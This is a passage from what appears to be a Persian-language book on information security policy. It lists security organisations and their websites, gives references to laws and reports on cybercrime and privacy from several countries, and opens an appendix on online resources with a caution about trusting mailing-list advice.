كـه  ( ايـالات متحـده       خود، يك سازمان مشاركتي ميان دولت     
و اتحادية انجمنهاي تجـاري،     ) شود   هدايت مي  FBIبوسيلة سازمان   

و ) نيروهـاي انتظـامي   (مؤسسات دانشگاهي، دواير اجراي قوانين      
ساير كـساني اسـت كـه مـسئوليت افـزايش ضـريب امنيـت               

 بـراي كـسب     .ايالات متحده با آنهـا اسـت        زيربناهاي حياتي   
توانيـد بـه   اطلاعات در طيف وسـيعي از مطالـب امنيتـي مـي      

  :پايگاه اين مؤسسه در آدرس زير مراجعه كنيد
http://www.infragard.net 

اي از تهديـدات    يك سازمان ديگـر كـه روي طيـف گـسترده          
 ٤٩٣)DHS (امنيــت ملــيتأســيس تمركــز دارد، دپارتمــان تــازه
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 سازمان جديد، حفاظـت     اين  اولويت اول   . ايالات متحده است  
تـر  سازمانهاي جزئي .  از ملت در برابر حملات تروريستي است      

كنند، از مرزهـا و     تهديدها و فعاليتهاي جاسوسي را تحليل مي      
نمايند، زيربناهاي حياتي   ايالات متحده دفاع مي     فرودگاههاي  

دهنـد، و واكنـشهاي     ايالات متحده را مورد محافظت قرار مي      
.  سـازند ايط اضطراري در آينـده مـدون مـي        كشور را براي شر   

DHS        همچنين با تأسيس ادارات مختلف، مسئوليت حفاظت 
ــود     ـــريكايي و بهب ــهروندان آم ـــروندي ش ـــوق شهـ از حق

رساني هنگام وقــوع حـوادث       چـون كمـك   خـدمات عمومي 
بـراي  . طبيعي و ارائه خدمات شهـرونـدي را نيز بر عهده دارد         

يد به پايگاه وب اين سازمان در آدرس        تواناطلاعات بيشتر مي  
www.dhs.gov مراجعـه كنيد . 

 بتــازگي نتــايج يــك تحقيــق در مــورد جــرائم FBIســازمان 
براي مشاهدة پايگاه اصـلي     .   چاپ رسانده است    اي را به    رايانه

 و www.gocsi.comاي بــه آدرس  مؤســسه امنيــت رايانــه
  : كنيدبراي مشاهدة نتايج تحقيق به آدرس زير مراجعه

http://i.cmpnet.com/gocsi/db_area/pdfs/fbi/F
BI2003.pdf 

المللي است     يك سازمان بين   ٤٩٤)ICC (الملليدفتر تجارت بين  
. شـوند كه اعضاي آن شامل كشورهاي درحال توسعه هم مي        

هـاي مـرتبط بـا      اين سازمان انجام تحقيقات در زمينه       فعاليت  
الكترونيكي، امنيـت  فناوري اطلاعات و ارتباطات مثل تجارت    

اينترنتـي    الكترونيكي، حريم خصوصي، و قـوانين محيطهـاي         
- و صفحات مرتبط با اين بحث را مي        ICCپايگاه وب   .  است

  :توانيد در آدرس زير مشاهده كنيد
http://www.iccwbo.org/home/menu_electroni
c_business.asp 

  : هستندICCهايي از فعاليتهاي اخير مطالب زير نمونه

، كه نتيجـة بررسـي و       ٤٩٥نامة امضاهاي الكترونيكي  آيين) الف
هـاي    پاسخ به درخواست كميسيون اروپايي دسـتورالعمل      

 تـسليم   ۲۰۰۳امضاي الكترونيكي كه در سـپتامبر سـال         
  .ه بود كميسيون اروپايي شد

 اين طرح اهداف بلندپروازانة     -ابزار محرمانگي   طرح جعبه ) ب
ICC   هاي شخـصي شـرح        داده مند كردن  را براي ضابطه
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 -دهد، و بهترين روشها براي حفاظـت از محرمـانگي           مي
داشـته   اي كه كسب و كار بتوانـد عملكـرد مـؤثري      بگونه

  .نمايد را پيشنهاد مي-  باشد و به نوآوري خود ادامه دهد

 در مورد محرمانگي كارمنـدان،      ICCطرح تبيين سياست    ) پ
 ICCن طرح موقعيت  اي    -ها، و منابع انساني       حفاظت داده 

انساني روشـن     ها و منابع  را در مسائل كليدي حفاظت داده     
ايـن   هـايي بـراي سياسـتهاي دولتـي در       كند و توصيه  مي

  . دهد زمينه ارائه مي

 طرح مفـاهيم الكترونيكـي      - ٤٩٦طرح مفاهيم الكترونيكي  ) ت
، ابزار قانوني مربـوط بـه ضـابطة خـود آن در             ۲۰۰۴سال  

ايـن مـستند توسـط يـك        . ي است قراردادهاي الكترونيك 
در قالب فعلـي،    .  ريز غيررسمي تهيه شده است    گروه طرح 

: مفاد طرح ابزارهايي هستند كه بر سه جنبه تمركز دارنـد          
ملاحظات محرمـانگي؛   ) ۲اطلاعات مربوط به قرارداد؛     ) ۱
ايـن مفـاد بـه        . ارزش واقعي اقلام دادة الكترونيكـي     ) ۳و  

اي الكترونيكـي مطـرح     ه ـموضوعاتي كه در حوزة رسـانه     
باشند، و لذا اين طرح بايد با تفسيري از       هستند محدود مي  

  .ضوابط حال حاضر و مرسوم قراردادها تفسير شود

FISCAMسياستها و اطلاعات فني خود را در پايگاه وب          ٤٩٧ 
  :دهدزير قرار مي

http://www.gao.gov/special.pubs/ai12.19.6.pdf 

در حوزة فناوري اطلاعات    ) ISO (المللي استاندارد   مؤسسه بين 
مجموعـة الگوهـاي    . كنـد استانداردهاي جهـاني تـدوين مـي      

سرآمدي ايـن مؤسـسه در حـوزة مـديريت امنيـت اطلاعـات           
)ISO/IEC17799(    استاندارد مؤسسه استاندار كشور انگلـستان ،
)BS 7799 (   را تكميل كرده و در بسياري از كـشورها بعنـوان

مورد قبـول واقـع شـده و انتظـار آن           المللي    يك استاندارد بين  
رود كه به يـك سـند مرجـع در تهيـة راهكارهـاي بهينـة         مي

. تضمين تجارت الكترونيكي ايمن و قابل اعتماد تبـديل شـود          
توانيـد بـه پايگـاه وب زيـر نگـاهي      براي آگـاهي بيـشتر مـي      

  :بياندازيد
http://www.iso.org 
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ارهاي بهينـة   اين استانداردها كه از الگوهاي سرآمدي و راهك       
هـاي  انـد، بـه جنبـه     حلهاي امنيتي سراسر دنيا تهيـه شـده       راه

توان به موارد  پردازند كه از جملة آنها مي     مختلفي از امنيت مي   
بندي سياست امنيتي، سازماندهي امنيتي، طبقه    : زير اشاره كرد  

و كنترل سرمايه، امنيت كاركنان، امنيت محيطي و فيزيكـي،          
ــت ارتباطــات و عمل ــرل دسترســي، توســعه و  امني ــات، كنت ي

پشتيباني سيستم، مديريت مخاطرات، و مديريت تداوم كسب        
  .و كار

 انجام شده   ۲۰۰۳آخرين بازنگري در اين استانداردها در سال        
 انجـام   ۲۰۰۵و اعلام شده كـه بـازنگري بعـدي در سـپتامبر             

  .خواهد شد

مطالب بيشتر راجع بـه بخـشهاي سـوم و          
نين كـسب و كـار      چهارم كه بر موارد و قوا     

  :المللي تمركز دارند بين

 :سازي براي استقرار دولت الكترونيكيآماده )۱
http://ww.audit.nsw.gov.au/guides-bp/e-
govt-BPG.pdf 

ترين فهرست كنتـرل در     اين پايگاه وب، بهترين و ساده     
خواهند دولت الكترونيكي را    مورد دولتهايي است كه مي    

مطالـب قابـل    .  ) صـفحه  ۲۰ (سازي نمايند براي خود پياده  
فــصلهايي در ارتبــاط بــا محرمــانگي، امنيــت و : توجــه

ادارة مميــزي ولــز جنــوبي، (مــديريت اطلاعــات و فنــاوري 
 .باشد مي) ٤٩٨استراليا

مطالعات موردي در خصوص حفاظـت از زيرسـاختهاي          )۲
توانيد در پايگـاه وب     حياتي از طريق امنيت شبكه را مي      

 :زير بيابيد
http://www.itu.int/osg/spu/ni/security/ind
ex.html 

هـاي قابـل      كره و برزيل در ميان ساير كـشورها نمونـه         
  .توجه هستند
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نمونة بسيار خوبي در مورد اهداف دولت جهـت تنظـيم            )۳
ــاوري اطلاعــات و      ــصوص امنيــت فن ــي در خ طرح

 :ارتباطات

The government's guidelines for the 
development of the information society, 
Minister for Innovation and Technologies, 
Rome, June 2002. 

توانيد در اين خصوص به پايگاههـاي وب        همچنين مي 
زير مراجعه نماييد كه شامل خلاصة اجرايي طرح ملـي          
ايتاليا در خصوص امنيت فناوري اطلاعات و ارتباطـات         

  : باشند مي
http://www.innorazione.gov.it/eng/docu
menti/linee-guida-eng.pdf 

مراجع الگوها، موضوعات، و مضامين سياسـت فنـاوري          )۴
اطلاعــات و ارتباطــات جهــاني از جملــه امنيــت و     

 :توان در پايگاه وب زير يافت محرمانگي را مي
http://www.markle.org/globalpolicy   

ن نهاد بـر مـشاركت مـؤثر و عملـي تأكيـد دارد و از                اي
گيـرد و     ي درحال توسعه شكل مي    مندان كشورها علاقه

يك تيم كار ابزاري بر مشاركت در سياستهاي محلي از          
 ). ۲۰۰۲ژوئن سال (دهد  نيروي كار دولت تشكيل مي

اي از آدرسـهاي     دربرگيرنـدة مجموعـه    ITUپايگاه وب    )۵
  :پايگاههاي وب سياستي و نظارتي است

http://www.itu.int/osg/spu/ni/security/link
s/policy.html 

  :٤٩٩رويكرد الكترونيكيپايگاه وبي براي توسعه و 
http://www.itu.int/ITU-D/e-strategy/internet/ 

  : جهاني٥٠٠اعتماد الكترونيكييادداشت تفاهم 
http://www.itu.int/ITU-D/e-
strategy/MoU/world_e.html 

استراتژي فناوري بـراي    : و در مورد تجارت الكترونيكي    
  :كشورهاي درحال توسعه

http://www.itu.int/ITU-D/e-
strategy/publications- 
articles/wmrcjune00/ntoko.html 
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2003 Australian Computer Crime and 
Security Survey. 

Canadian Criminal Code, Part VI, Invasion 
of Privacy and Part IX, Offences against 
rights of property. 

Claessens Stijn, Glaessner Thomas and 
Klingebiel Daniela, E-Finance in Emerging 
Markets: Is Leapfrogging Possible? 

Commission of the European Communities: 
Network and Information Security: Proposal 
for A European Policy Approach – Brussels, 
June 6, 2001. 

Commission of the European Communities: 
Creating a Safer Information Society by 
Improving the Security of Information 
Infrastructures and Combating Computer-
related Crime – eEurope 2002, Brussels, 
January 26, 2001. 

  :وزارت دادگستري كانادا
www.canada.justice.gc.ca/en/cons/La-
al/index.htm#toc 

Dr Chae, Kijoon, Introduction to Critical 
Network Infrastructures, May 20-22, 2002, 
Seoul, Korea. 

Dr Lim, Chaeho, Creating Trust in Critical 
Network Infrastructures: Korean Case Study, 
May 20-22, 2002, Seoul. 

امعـه اطلاعـاتي و     سندي در خصوص ابعاد قانوني خـدمات ج       
دسـتورالعملهايي  (بطور خاص تجارت الكترونيكي در بازار داخلي        

  : )در مورد تجارت الكترونيكي

European Union Directive 2000/31/EC 

  : المللي در خصوص ارتباطات مخابراتي راه دور يك سند بين

European Union Directive 97/33/EC 

  : ت الكترونيكيسندي در خصوص محرمانگي و ارتباطا

European Union Directive 2002/58/EC 

Glaessner, Thomas, Kellerman Tom, and 
McNevin, Electronic Security: Risk Mitigation 

in Financial Transactions -Public Policy 
Issues, June 2002, The World Bank. 

Global Dialogue E-Security: Risk Mitigation 
in theFinancial Sector, The World Bank, 
Integrator Group, September 25, 2002 

Goodman E., Seymour, Hassebroek B., 
Pamela, King, Davis and Ozment, Andy, 
International Coordination to Increase the 
Security of Critical Network Infrastructures, 
May 20-22, 2002, Seoul. 

Harrop, Mike, Creating Trust in Critical 
Network Infrastructures –Canadian Case 
Study, May 20-22, 2002, Seoul, Korea. 

International Telecommunications Union- 
Telecommunications Standardization Sector 
(ITU-T) – Lead Study Group 17 on 
Communications and Systems Security 
(www.itu.int/ITU-T/). 

Internet Security Alliance, Common Sense 
Guide for Senior Managers – Top Ten 
Recommended Security Practices, July 
2002. 

Keck, Richard and Satola, David, Entering 
the Grid Computing Marketplace – A Primer 
of Key Legal Issues, April 1, 2003. 

Kellerman, Thomas, Mobile Risk 
Management: E-finance in the Wireless 
Environment, The World Bank, May 2002. 

McCullagh, Declan, Will Canada’s ISPs 
become spies?, CNET News.com, August 
27, 2002. 

Monetary Authority of Singapore, 
Technology Risk Management Guidelines 
for Financial Institutions, February 28, 2003. 

Official Journal of the European 
Communities – Council Resolution on a 
common approach and specific actions in 
the area of network and information security, 
January 28, 2002. 

Official Journal of the European 
Communities – Council Resolution on the 
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Implementation of the eEurope 2005 Action 
Plan, February 18, 2003. 

OECD Guidelines for the Security of 
Information Systems and Networks – 
Towards a Culture of Security. 

Privacy Amendment Act of Australia (Private 
Sector) - Act 2000 

Security of Internet Enabled Wireless 
Devices, Wireless Task Force Findings, 
National Security Telecommunications 
Advisory Committee, January 2003. 

Shaw, Robert, Creating Trust in Critical 
Network Infrastructures: The Case of Brazil, 
May 20-22, 2002, Seoul. 

The National Strategy to Secure 
Cyberspace, President’s Critical 
Infrastructure Board, United States, 
September 2002. 

Wireless Security, Wireless Task Force 
Report, National Security 
Telecommunications Advisory Committee, 
January 2003. 

  بخش چهارم

Annual Survey by EPIC and Privacy 
International, Privacy and Human Rights 
2003 (Sept. 2003) 
http://www.privacyinternational.org/survey/p
hr2003/ 

يك گزارش مفصل درمورد شرايط حريم خصوصي در جهان 
  : گذاري شده است سرمايهكه توسط دولت ژاپن روي آن 

Japanese Ministry of Public Management, 
Home Affairs, Posts and 
Telecommunications. The Global Privacy 
Report, August 14, 2003. 
http://joi.ito.com/joiwiki/privacyReport 

راههاي دريافـت قـوانين ضـدهرزنامه و برقـراري ارتبـاط بـا              
بط در سراسر جهان و همچنين مقالات چـاپ         سازمانهاي مرت 

تـر مـسائل      شده در مجلات حقـوقي كـه بـه تحليـل عميـق            
  :توانيد در آدرس زير بيابيدپردازد را مي مي

http://www.spamlaws.com/ 

WIPO اي از قانون مالكيـت معنـوي در كـشورهاي             خلاصه
عضو را به چاپ رسـانده كـه در آدرس زيـر قابـل دسترسـي                

  :است
http://www.wipo.org/about-
ip/en/ipworldwide/index.html. 

  : هاي بخش چهارممرجع اصلي پاورقي
 http://www.usdoj.gov/04foia/privstat.htm 

يك بحث مفصلتر پيرامون مسائل حقوقي ايـالات متحـده را           
هـاي  توانيد در اين كتاب بيابيد كه ناياب است امـا نـسخه             مي

  :ردتوان پيدا كقديمي آن را مي
Computer Crime: ACrimefighter’s Handbook 
(O’Reilly). 

گروه پيشگامان جهاني سياستهاي اينترنـت منـابع زيـادي در           
  : داردICTتمامي بخشهاي مؤثر بر توسعة 

http://www.internetpolicy.net 

The National Strategy to Secure Cyberspace 
[United States], February 2003, 
http://www.whitehouse.gov/pcipb/ 

Office of Critical Infrastructure Protection 
andEmergency Preparedness (OCIPEP) 
http://www.ocipep.gc.ca/home/index_e.asp 

 اينكه مطلع شويد ساير كشورها چگونه به امنيت مسائل           براي
  : داند، به منبع زير مراجعه كني زيربنايي واكنش نشان داده

International Critical Information 
InfrastructureProtection Handbook, edited by 
Andreas Wenger, Jan Metzger and Myriam 
Dunn, Center for Security Studiesand 
Conflict Research, Swiss Federal Institute of 
Technology (2002) 
http://www.isn.ethz.ch/crn 

 كشور بريتانيا يك مركز هماهنگي امنيت زيربناي ملي         وزارت
)NISCC (             تأسيس كرده تـا در آن بـه همـاهنگي و مـديريت

مــسائل حفاظــت از زيرســاختهاي حيــاتي بپــردازد، در اعــلام 
هشدار و واكنش به حملات كمك كند، و ارتباط ميان دولـت            
.  و بخش خصوصي براي حفاظت از زيرساخت را تسهيل نمايد
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اي بـه نـام      يك تيم واكنش به فوريتهاي رايانـه       NISCCدر  
UNIRASــود دارد ــك .  وج ــه حمــلات  ي ــنش ب ــروه واك گ
 تـشكيل شـده تـا       NISCC نيـز در     ٥٠١)EARG (الكترونيكي

هنگاميكه زيرساختهاي حياتي سـازمانهاي دولتـي كـه مـورد           
 اطلاعـات  UNIRAS. گيرند به آنها كمك كندحمله قرار مي 

 براي تمامي بخـشهاي فعـال       هشداردهنده و آگاهي بخش را    
 NISCCدر پايگـاه وب     .  دهـد   تجاري در بريتانيـا ارائـه مـي       

)http://www.niscc.gov.uk (       نيز اطلاعات مـشروحي در مـورد
  .راهبرد دولت بريتانيا وجود دارد

طبق قانون استراليا، مؤسسات اجرايـي، نهادهـاي غيردولتـي          
يـن  ا. شـوند هستند كه توسـط نماينـدة دولـت تأسـيس مـي           

مؤسسات معمولاً مؤسـساتي هـستند كـه عملكردشـان بايـد            
وسعتي در حد دولت داشته باشد و در عين حـال نيـاز داشـته               

مدير يـك مؤسـسه     . باشند كه از دولت مركزي مستقل باشند      
شود و به همـان وزيـر       اينچنيني بوسيلة يك وزير انتخاب مي     

. پاسخگو است نيز  ) در اين مورد، وزارت ارتباطات و فناوري اطلاعات       (
  :براي اطلاعات بيشتر به آدرس زير مراجعه كنيد

http://www.noie.gov.au/projects/confidence/p
rotecting/nat_agenda.htm. 

International Critical Information 
Infrastructure Protection Handbook, edited 
by Andreas Wenger, Jan Metzger and 
Myriam Dunn, Center for Security Studies 
and Conflict Research, Swiss Federal 
Institute of Technology (2002) 
http://www.isn.ethz.ch/crn 

براي اطلاع از اينكه ساير كشورها چگونه به حفاظت از 
توانيد به اند، ميزيرساختهاي حياتي اطلاعات خود پرداخته

  :منبع زير مراجعه كنيد
International Critical Information 
Infrastructure Protection Handbook, edited 
by Andreas Wenger, Jan Metzger and 
Myriam Dunn, Center for Security 
Studiesand Conflict Research, Swiss 
Federal Institute of Technology (2002): 
http://www.isn.ethz.ch/crn 

U.S. Presidential Decision Directive 63: 
Critical Infrastructure Protection, May 22, 
1998; 
http://www.fas.org/irp/offdocs/pdd-63.htm 
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U.S. Presidential Decision Directive 62: 
http://www.fas.org/irp/offdocs/pdd-62.htm 

  
E.O. 13228, Establishing the Office of 
Homeland Security and the Homeland 
Security Council, October 8, 2001, 
http://fas.org/irp/offdocs/eo/eo-13228.htm; 

E.O.13231, Critical Infrastructure Protection 
in the Information Age, October 16, 2001: 
http://www.ciao.gov/News/EOonCriticalInfras
trutureProtection101601.html 

The National Strategy to Secure 
Cyberspace, Feb. 14, 2003, 
http://www.dhs.gov/interweb/assetlibrary/Nat
ional_Cyberspace_Strategy.pdf. 

The National Strategy to Secure 
Cyberspace; by The National Strategy for 
the Physical Protection of Critical 
Infrastructures and Key Assets, released 
March 4, 2003, 
http://www.dhs.gov/interweb/assetlibrary/Ph
ysical_Strategy.pdf 

Implementing components of The National 
Strategy for Homeland Security, issued by 
the White House; July 16, 2002. 

European Commission, Proposal for a 
Regulation of the European Parliament and 
of the Council Establishing the European 
Network and Information Security Agency, 
Feb.11, 2003, COM (2003) 63 final, 
2003/0032 (COD): 
http://europa.eu.int/information_society/eeurop
e/action_plan/safe/documents/nisa_en.pdf 

Council resolution of 28 Jan. 2002; 
European Commission, Communication 
from the Commission to the Council, the 
European Parliament, the European 
Economic And Social Committee and the 
Committee of the Regions - Network and 
Information Security: Proposal for a 
European Policy Approach, June 6, 2001, 
COM(2001) 298 final, 
http://europa.eu.int/information_society/eeurop
e/news_library/new_documents/index_en.htm 

European Commission, Communication 
from the Commission to the Council, the 
European Parliament, the Economic and 
Social Committee and the Committee on the 
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Regions - Creating a Safer Information 
Society by Improving the Security of 
Information Infrastructures and Combating 
Computer-related Crime, Jan. 26, 2001, 
COM(20000) 890 final, 
http://europa.eu.int/ISPO/eif/InternetPolicies
Site/Crime/CrimeCommEN.html 

Homeland Security Act, 
http://www.whitehouse.gov/deptofhomeland/
analysis/ 

Federal Information Security Management 
Act, Title IIIof E-Government Act of 2002, 
Pub. Law 107-347, 
http://csrc.nist.gov/policies/FISMA-final.pdf. 

Thomas J. Smedinghoff, The Developing 
U.S. Legal Standard for Cyber-security, 
Baker & McKenzie, Chicago, 
http://www.bmck.com/ecommerce/us%20cy
ber-security%20standards.pdf 

ايالات متحده عليـه شـركتهايي        كميسيون حفاظت و مبادلات   
اي خود در مقابل دسترسـي غيرمجـاز     مهاي رايانه كه از سيست  

آورنـد  اقـدامات قـانوني       به اندازة كافي محفاظت بعمل نمـي      
توانيـد بـه منبـع زيـر     براي اطلاعات بيشتر مي . دهدانجام مي 

  :مراجعه نماييد

SEC v. National Business Communications 
Corp., SEC Litig. Release No. 11223, Sept. 
19, 1986, SEC Litig. Release No. 11229, 
Sept. 26, 1986. In the Matter of Material 
Sciences Corporation, SEC Litig. Release 
No. 41930, Sept. 28, 1999.  

Sarbanes-Oxley Act of 2002, Pub. Law 107-
204. 

http://www.aicps.org; http://www.isaca.org. 

ب روشن شـد، اسـتانداردهاي امنيـت        اين كتا   همانطور كه در    
ــه ــاي -اي   رايانـ ــة امنيـــت OECD از رهنمونهـ  در زمينـ

سيستمهاي اطلاعاتي گرفته تا استانداردهاي امنيت اطلاعات       
 بطـور   -انـد   است كه توسط نهادهاي غيردولتي مـدون شـده        

اي مـورد پـذيرش قـرار       اي در جامعة كـاربران رايانـه      گسترده
توانيد به كتاب زيـر يـك       بيشتر مي براي توضيحات   . اندگرفته

  :نگاه گذرا داشته باشيد

Michael Nugent, It Can’t Happen Here, Wall 
Street Technology Association, Ticker, A 
Technology Magazine For Industry 
Profession (2003), 
http://www.wsta.org/publications/articles/040
2_article03.html 

Carol A. Siegel, Ty R. Sagalow, Paul 
Serritella, Cyber Risk Management 
Technical and Insurance Controls for 
Enterprise-Level Security, Security 
Management Practices, pg. 42, 
(September/October 2002). 
http://www.gsu.edu/~accrss/Security_and_B
usiness_Risk.pdf. 

 طيف وسـيعي    ٥٠٢)NIST )CSRCاي  ركز منابع امنيت رايانه   م
از مطالب امنيتي شامل استانداردهاي رمزنگاري و كاربرد آنها،  
آزمون امنيت، تحقيقات امنيتي، سيستمهاي گـواهي، قابليـت         

گـذاريهاي امنيتـي، امنيـت      اطمينان سيستم، بازگشت سرمايه   
نهاي ملـي   اي مشاغل كوچك، و نيز تجارب امنيتي ارگا       رايانه

ــت   ــرده اس ــشر ك ــاه وب ). /http://csrc.nist.gov(را منت پايگ
  : نيز در آدرس قابل دسترسي استNISTانتشارات 

http://csrc.nist.gov/publications/index.html 

National Security Agency, Security 
Recommendation Guides, 
http://nsa1.www.conxion.com/ 

CERT/Coordination Center, Software 
Engineering Institute, Carnegie Mellon 
University, http://www.cert.org/ 

European Commission, Communication 
from the Commission to the Council, the 
European Parliament, the European 
Economic And Social Committee and the 
Committee of the Regions - Network and 
Information Security: Proposal for a 
European Policy Approach, June6, 2001, 
COM(2001) 298 final, 
http://europa.eu.int/information_society/eeurop
e/news_library/new_documents/index_en.htm 

Proposal for a Regulation of the European 
Parliament and of the Council Establishing 
the European Network and Information 
Security Agency, Commission of the 
European Communities, Feb. 11, 2003, 
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COM(2003) 63 final, 2003/0032 (COD), 
http://europa.eu.int/information_society/eeurop
e/action_plan/safe/documents/nisa_en.pdf  

Proposal for a Regulation of the European 
Parliament and of the Council Establishing 
the European Network and Information 
Security Agency, Commission of the 
European Communities, Feb. 11, 2003, 
COM(2003) 63 final, 2003/0032 (COD), 
http://europa.eu.int/information_society/eeurop
e/action_plan/safe/documents/nisa_en.pdf 

Protecting Developing Economies from 
Cyber Attack – Assistance to Build Regional 
Cyber-security Preparedness, APEC Media 
Release, Mar. 18, 2003, 
http://www.apecsec.org.sg/whatsnew/press/Press
Rel_ProtectgFromCyberAttack_180303.html 

http://www.ncs.gov/NSTAC/attf.html 

Jody R. Westby, ed., International Guide to 
Combating Cybercrime, AmericanBar 
Association, Section of Science & 
Technology Law, Privacy & Computer Crime 
Committee,  by The American Bar 
Association’s Privacy & Computer Crime 
Committee 2003, 
http://www.abanet.org/abapubs/books/cyber
crime/ 

UN General Assembly, Resolution 55/63, 
Combating the criminal misuse of 
information technologies, Dec. 4, 2000, 
http://www.nvk2000.ru/apec/documents/Inter
national_Agreements/55-63_English.pdf 

UN General Assembly, Resolution 56/121, 
Combating the criminal misuse of 
information technologies, Jan. 23, 2002, 
http://ods-dds-ny.un.org/doc/UNDOC/ 

ETS no. 185: 
http://conventions.coe.int/treaty/EN/cadrepri
ncipal.htm 

Eighth United Nations Congress on the 
Prevention of Crime and the Treatment of 
Offenders, Havana, Aug. 27- Sept. 7, 1990, 
report prepared by the Secretariat, UN 
publication, Sales No. E.91.IV.2, chap I. 

  :ه كنيد به اين پيشنهادات، مراجع براي دريافت متن
United Nations Commission on Crime 
Prevention and Criminal Justice, Report on 

the Eighth Session, Apr. 27-May 6, 1999, 
E/CN.15/1999/12, 
http://www.un.org/documents/ecosoc/docs/1
999/e1999-30.htm. 

UN, International Review of Criminal Policy - 
United Nations Manual on the Prevention 
and Control of Computer-Related Crime, 
http://www.uncjin.org/Documents/EighthCon
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گزارش كميسيون اقتصادي و اجتماعي شوراي امنيت سازمان        
اي و عدالت مجرمانـه كـه       ملل در زمينة مقابله با جرائم رايانه      

المللي در حوزة      و ساير سازمانهاي بين    فعاليتهاي سازمان ملل  
  : جرائم فضاي مجازي و امنيت مجازي را خلاصه كرده است

Effective measures to prevent and control 
computer-related crime, E/CN.15/2002/8, 
Report of the Secretary-General, United 
Nations, Economic and Social Council, 
Commission on Crime Prevention and 
Criminal Justice, Eleventh Session, Vienna, 
Apr. 16-25, 2002, 
http://www.unodc.org/pdf/crime/commissions
/11comm/8e.pdf 

Gramm-Leach Bliley Act, 15 USC, 
Subchapter 1, § 6801. 

Appendix B to Part 570—Interagency 
Guidelines Establishing Standards for 
Safeguarding Customer Information, Part III, 
http://www.occ.treas.gov/fr/fedregister/66fr8
616.htm 

Financial Institutions and Customer Data: 
Complying with the Safeguards Rule, 
http://www.ftc.gov/bcp/conline/pubs/buspubs
/safeguards.htm 

Standards for Safeguarding Customer 
Information, 67 Fed. Reg. 36484-94, May 
23, 2000, (codified at 16 C.F.R. Part 314), 
http://www.ftc.gov/os/2002/05/67fr36585.pdf 

Technology Risk Management Guidelines 
for FinancialInstitutions, Monetary Authority 
of Singapore, Draft Nov. 11, 2002, 
http://www.mas.gov.sg/display.cfm?id=94D0
63CD-5EB6-4636-82B5A725F9F6E9F5 

45 CFR §160, 162, 164; 
http://www.cms.hhs.gov/hipaa/hipaa2/regula
tions/security/default.asp 
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HIPAA, 42 U.S.C. Section 1320d-2(d)(2). 

Linda A. Malek and Brian R. Krex, “HIPAA’s 
security rule becomes effective 2005,” The 
National Law Journal,Mar. 31, 2003 at B14 

http://europa.eu.int/comm/internal_market/pr
ivacy/law_en.htm 

اي براي رفع نگرانيها در خصوص پردازش اطلاعات نامهآيين
ت شخصي و حفاظت از حريم خصوصي در بخشهاي تجار

  :الكترونيكي

Directive 2002/58/EC of the European 
Parliament and of the Council of 12 July 
2002 

Directive on privacy and electronic 
communications, Article 4(1), Official Journal 
L 201/37, July 31, 2002, at 37-47 (replacing EU 
Directive 97/66/EC), 
http://europa.eu.int/smartapi/cgi/sga_doc?s
martapi!celexapi!prod!CELEXnumdoc&lg=en
&numdoc=32002L0058&model=guichet 

Security Breach Information Act (SB 1386), 
added to the California Civil Code as Section 
1798.29; Keith Poulsen, California 
disclosure law has national reach, 
SecurityFocus Online, Jan. 6, 2003, 
http://online.securityfocus.com/news/1984. 

Michael Vatis, Testimony House 
Government Reform Committee, April 8, 
2003; Sen. Bennett’s proposal. 

  بخش پنجم

http://news.cnet.com/news/0-1005-200-
4523277.html 

http://www.wired.com/news/technology/0,12
82,34496,00.html 

http://www.microsoft.com/technet/security/bu
lletin/MS01-017.asp 

Forum of Incident Response and Security 
Teams, the worldwide consortium of major 
computer incident response groups. 
http://www.first.org 

ISS  فروشنده يك مشكل ۱۱ در خصوص ۱۹۹۹در دسامبر 
امنيتي را اعلام كرد، و پس از آن اطلاعات مربوط به آن 

براي .  به مطبوعات داد۲۰۰۰پذيري را در فورية آسيب
  :اطلاعات بيشتر به آدرس زير رجوع كنيد

http://www.cnn.com/2000/TECH/computing/
02/04/shop.glitch.idg 

Dos and Don’ts of Client Authentication on 
the Web, USENIX and MIT Technical Report 
818, by Kevin Fu, Emil Sit, Kendra Smith, 
and Nick Feamster 
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  ۳پيوست 
  منابع الكترونيكي 

تهية يك فهرست جامع از منـابع الكترونيكـي در يـك سـند              
منـابع الكترونيكـي مثـل صـفحات        .  چاپي بسيار مشكل است   

ب، گروههاي خبري و فهرستهاي پستي تقريباً هـر سـاعت           و
اي نيـز   هـاي رايانـه   كنند؛ و ويرايشهاي جديد برنامه    تغيير مي 

  .ممكن است هر چند هفته يكبار منتشر شوند

بنابراين ما ناچاريم منابع الكترونيكي ذيل را با توجه به اينكـه            
 دهيم  اي نيستند ارائه  لزوماً فهرست كامل و به روزرساني شده      

همچنين اميدواريم كه   . و اميدواريم براي شما مفيد واقع شوند      
با خواندن اين مطالب، ديدگاه مناسبي براي پيشرفتهاي آتـي          

  . اي بدست آوريددر زمينة امنيت رايانه

  فهرستهاي پستي

فهرستهاي پستي مختلفي وجود دارند كه موضوعات متفـاوت         
بـه مهمتـرين آنهـا    دهند و مـا در اينجـا        امنيتي را پوشش مي   

كنيم؛ اما نبايد گمان كرد كه اين فهرسـتها بتنهـايي         اشاره مي 
مطمئناً فهرستهاي بسيار   . دهندتمام ابعاد امنيت را پوشش مي     

تواننـد اطلاعـات بـسيار      خوب و گمنام هم وجود دارند كه مي       
  .مفيدتري را در اختيارتان قرار دهند

انيـد كـاملاً    خوهرگز بـه مطـالبي كـه در ايـن فهرسـتها مـي             
. اطمينان نكنيد؛ خصوصاً اگر آن فهرست مشكوك بنظر بيايد        

اشخاص به قول خود متخصصي در شـبكه وجـود دارنـد كـه              
.  كنند  اي تأمل نمي    براي ابراز عقايد درست يا غلط خود لحظه       

خطـر    هاي اين قبيل افراد معمولاً بي       اگرچه بكار بستن توصيه   
عـلاوه بـر ايـن      . از شود تواند دردسرس   است؛ اما گاهي هم مي    

شوند كه اهداف تبهكارانـه دارنـد، و يـا          گاهي افرادي پيدا مي   
ممكن است بعضاً متخصصان نيز در پيشنهادات نوشتاري كـه    

  .كنند دچار اشتباه شوند ارسال مي

 اين فهرستها تعدادي متخصص واقعـي     خوشبختانه معمولاً در  
راك بگذارند و   اشتهستند كه مايلند دانش خود را با همگان به        

همين كمك آنهـا باعـث پيـشرفت دانـش عمـومي اينترنـت              
اي اينكـه نكتـه     اينحال به ياد داشته باشيد صرف         با  . گردد  مي

در اينترنت وجود دارد به اين معنا نيست كه يك نكتة مفيد و             
كاربردي براي سيستم و محيط شما است، به اين معنا نيـست    

 بـه ايـن معنـا        اشتباه است، كه دقيق و فارغ از هرگونه خطا و         
نيست كه با سياسـتهاي پايگـاه وب شـما مطابقـت دارد، و از         

توانـد بـه ارتقـاي      توان گفت حتماً مـي    اينكه نمي   همه مهمتر   
